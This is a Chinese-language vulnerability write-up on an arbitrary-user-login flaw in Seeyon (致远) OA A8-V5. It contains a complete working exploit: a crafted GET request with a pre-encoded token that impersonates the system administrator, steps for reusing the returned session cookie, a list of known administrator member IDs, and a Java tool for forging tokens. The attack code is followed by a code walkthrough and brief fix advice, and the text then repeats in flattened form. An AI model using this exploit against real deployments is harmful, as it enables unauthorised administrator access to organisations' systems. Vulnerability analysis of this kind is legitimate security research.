致远OA A8-V5 任意用户登录漏洞分析
字数 693 2025-08-23 18:31:09

致远OA A8-V5 任意用户登录漏洞分析报告

漏洞概述

致远OA A8-V5版本存在一个严重的任意用户登录漏洞,攻击者可以通过构造特定的请求绕过认证机制,直接获取系统管理员权限。

漏洞环境

  • 受影响版本:致远A8 V7.0

漏洞利用

利用接口

/seeyon/thirdpartyController.do

利用方法

  1. 构造GET请求访问漏洞接口:
GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjo6Ojo6Ojo6Ojo6Ojo= HTTP/1.1
Host: 目标IP
  1. 从响应中获取JSESSIONID
  2. 使用获取的JSESSIONID访问需要认证的接口:
GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host: 目标IP
Cookie: JSESSIONID=获取的SESSIONID

漏洞分析

漏洞位置

漏洞位于com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController类的access方法中。

关键代码分析

  1. 参数解码过程
String enc = LightWeightEncoder.decodeString(request.getParameter("enc").replaceAll(" ", "+"));

LightWeightEncoder.decodeString方法实现:

public static String decodeString(String encodeString) {
    if (encodeString == null) {
        return null;
    } else {
        try {
            encodeString = new String((new Base64()).decode(encodeString.getBytes()));
        } catch (Exception var3) {
            log.warn(var3.getMessage());
        }
        char[] encodeStringCharArray = encodeString.toCharArray();
        for (int i = 0; i < encodeStringCharArray.length; ++i) {
            --encodeStringCharArray[i];
        }
        return new String(encodeStringCharArray);
    }
}

该方法先进行Base64解码,然后将每个字符的ASCII码减1。

  1. 参数解析

解码后的字符串格式为L=xxx&M=yyy&T=zzz,被解析为Map结构:

Map<String, String> encMap = new HashMap();
String[] enc0 = enc.split("[&]");
for (String enc1 : enc0) {
    String[] enc2 = enc1.split("[=]");
    if (enc2 != null) {
        String path = enc2[0];
        String startTimeStr = enc2.length == 2 ? enc2[1] : null;
        encMap.put(path, startTimeStr);
    }
}
  1. 关键参数检查
  • 检查时间戳是否过期:
if ((System.currentTimeMillis() - timeStamp) / 1000L > (long)(this.messageMailManager.getContentLinkValidity() * 60 * 60)) {
    mv.addObject("ExceptionKey", "mail.read.alert.guoqi");
    return mv;
}
  • 检查memberId是否存在:
String _memberId = (String)encMap.get("M");
if (_memberId == null) {
    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
    return mv;
}
memberId = Long.parseLong(_memberId);
  • 检查linkType是否有效:
link = (String)UserMessageUtil.getMessageLinkType().get(linkType);
if (link == null) {
    mv.addObject("ExceptionKey", "mail.read.alert.wuxiao");
    return mv;
}
  1. 用户会话创建
V3xOrgMember member = this.orgManager.getMemberById(memberId);
currentUser = new User();
session.setAttribute("com.seeyon.current_user", currentUser);
AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", currentUser);
currentUser.setId(memberId);
currentUser.setName(member.getName());
currentUser.setLoginName(member.getLoginName());
// 设置其他用户属性...

绕过认证的关键

  1. 构造有效的linkType(从/base/message-link.properties中获取)
  2. 使用已知的管理员memberId
  3. 设置足够大的时间戳避免过期检查

已知管理员memberId

"5725175934914479521" - "集团管理员"
"-7273032013234748168" - "系统管理员"
"-7273032013234748798" - "系统监控"
"-4401606663639775639" - "审计管理员"

编码/解码工具

public class Test {
    public static void main(String[] args) {
        System.out.println(encodeString("L=message.link.bbs.open&M=-7273032013234748168&T=9999999999999"));
    }
    
    public static String decodeString(String encodeString) {
        if (encodeString == null) {
            return null;
        } else {
            try {
                encodeString = new String((new Base64()).decode(encodeString.getBytes()));
            } catch (Exception var3) {
                System.out.println(var3.getMessage());
            }
            char[] encodeStringCharArray = encodeString.toCharArray();
            for (int i = 0; i < encodeStringCharArray.length; ++i) {
                --encodeStringCharArray[i];
            }
            return new String(encodeStringCharArray);
        }
    }
    
    public static String encodeString(String encodeString) {
        if (encodeString == null) {
            return null;
        } else {
            char[] encodeStringCharArray = encodeString.toCharArray();
            for (int i = 0; i < encodeStringCharArray.length; ++i) {
                ++encodeStringCharArray[i];
            }
            try {
                encodeString = new String((new Base64()).encode((new String(encodeStringCharArray)).getBytes()));
            } catch (Exception var3) {
                System.out.println(var3.getMessage());
            }
            return encodeString;
        }
    }
}

漏洞修复建议

  1. 对thirdpartyController接口增加严格的权限验证
  2. 对memberId参数进行有效性检查,避免直接使用用户输入
  3. 更新到最新版本,官方可能已发布补丁
致远OA A8-V5 任意用户登录漏洞分析报告 漏洞概述 致远OA A8-V5版本存在一个严重的任意用户登录漏洞,攻击者可以通过构造特定的请求绕过认证机制,直接获取系统管理员权限。 漏洞环境 受影响版本:致远A8 V7.0 漏洞利用 利用接口 利用方法 构造GET请求访问漏洞接口: 从响应中获取JSESSIONID 使用获取的JSESSIONID访问需要认证的接口: 漏洞分析 漏洞位置 漏洞位于 com.seeyon.ctp.portal.sso.thirdpartyintegration.controller.ThirdpartyController 类的 access 方法中。 关键代码分析 参数解码过程 : LightWeightEncoder.decodeString 方法实现: 该方法先进行Base64解码,然后将每个字符的ASCII码减1。 参数解析 : 解码后的字符串格式为 L=xxx&M=yyy&T=zzz ,被解析为Map结构: 关键参数检查 : 检查时间戳是否过期: 检查memberId是否存在: 检查linkType是否有效: 用户会话创建 : 绕过认证的关键 构造有效的linkType(从 /base/message-link.properties 中获取) 使用已知的管理员memberId 设置足够大的时间戳避免过期检查 已知管理员memberId 编码/解码工具 漏洞修复建议 对thirdpartyController接口增加严格的权限验证 对memberId参数进行有效性检查,避免直接使用用户输入 更新到最新版本,官方可能已发布补丁